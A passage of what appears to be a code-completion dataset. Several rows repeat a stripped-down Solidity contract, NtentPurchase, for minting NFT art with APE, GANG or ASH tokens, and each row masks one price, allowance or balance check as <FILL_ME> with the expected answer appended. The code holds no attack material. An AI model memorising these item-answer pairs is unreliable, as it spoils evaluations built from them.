function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(<FILL_ME>)
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectGangPrice[_projectId].mul(_numberOfTokens);
require(
gang.allowance(msg.sender, address(this)) >= cost,
"GANG Allowance not set"
);
require(
gang.balanceOf(msg.sender) >= cost,
"Not enough GANG sent"
);
gang.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| projectGangPrice[_projectId]>0,"Gang Price Not Set" | 243,850 | projectGangPrice[_projectId]>0 |
"GANG Allowance not set" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(projectGangPrice[_projectId] > 0, "Gang Price Not Set");
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectGangPrice[_projectId].mul(_numberOfTokens);
require(<FILL_ME>)
require(
gang.balanceOf(msg.sender) >= cost,
"Not enough GANG sent"
);
gang.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| gang.allowance(msg.sender,address(this))>=cost,"GANG Allowance not set" | 243,850 | gang.allowance(msg.sender,address(this))>=cost |
"Not enough GANG sent" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(projectGangPrice[_projectId] > 0, "Gang Price Not Set");
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectGangPrice[_projectId].mul(_numberOfTokens);
require(
gang.allowance(msg.sender, address(this)) >= cost,
"GANG Allowance not set"
);
require(<FILL_ME>)
gang.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| gang.balanceOf(msg.sender)>=cost,"Not enough GANG sent" | 243,850 | gang.balanceOf(msg.sender)>=cost |
"Ash Price Not Set" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(<FILL_ME>)
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectAshPrice[_projectId].mul(_numberOfTokens);
require(
ash.allowance(msg.sender, address(this)) >= cost,
"ASH Allowance not set"
);
require(
ash.balanceOf(msg.sender) >= cost,
"Not enough ASH sent"
);
ash.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
}
| projectAshPrice[_projectId]>0,"Ash Price Not Set" | 243,850 | projectAshPrice[_projectId]>0 |
"ASH Allowance not set" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(projectAshPrice[_projectId] > 0, "Ash Price Not Set");
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectAshPrice[_projectId].mul(_numberOfTokens);
require(<FILL_ME>)
require(
ash.balanceOf(msg.sender) >= cost,
"Not enough ASH sent"
);
ash.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
}
| ash.allowance(msg.sender,address(this))>=cost,"ASH Allowance not set" | 243,850 | ash.allowance(msg.sender,address(this))>=cost |
"Not enough ASH sent" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
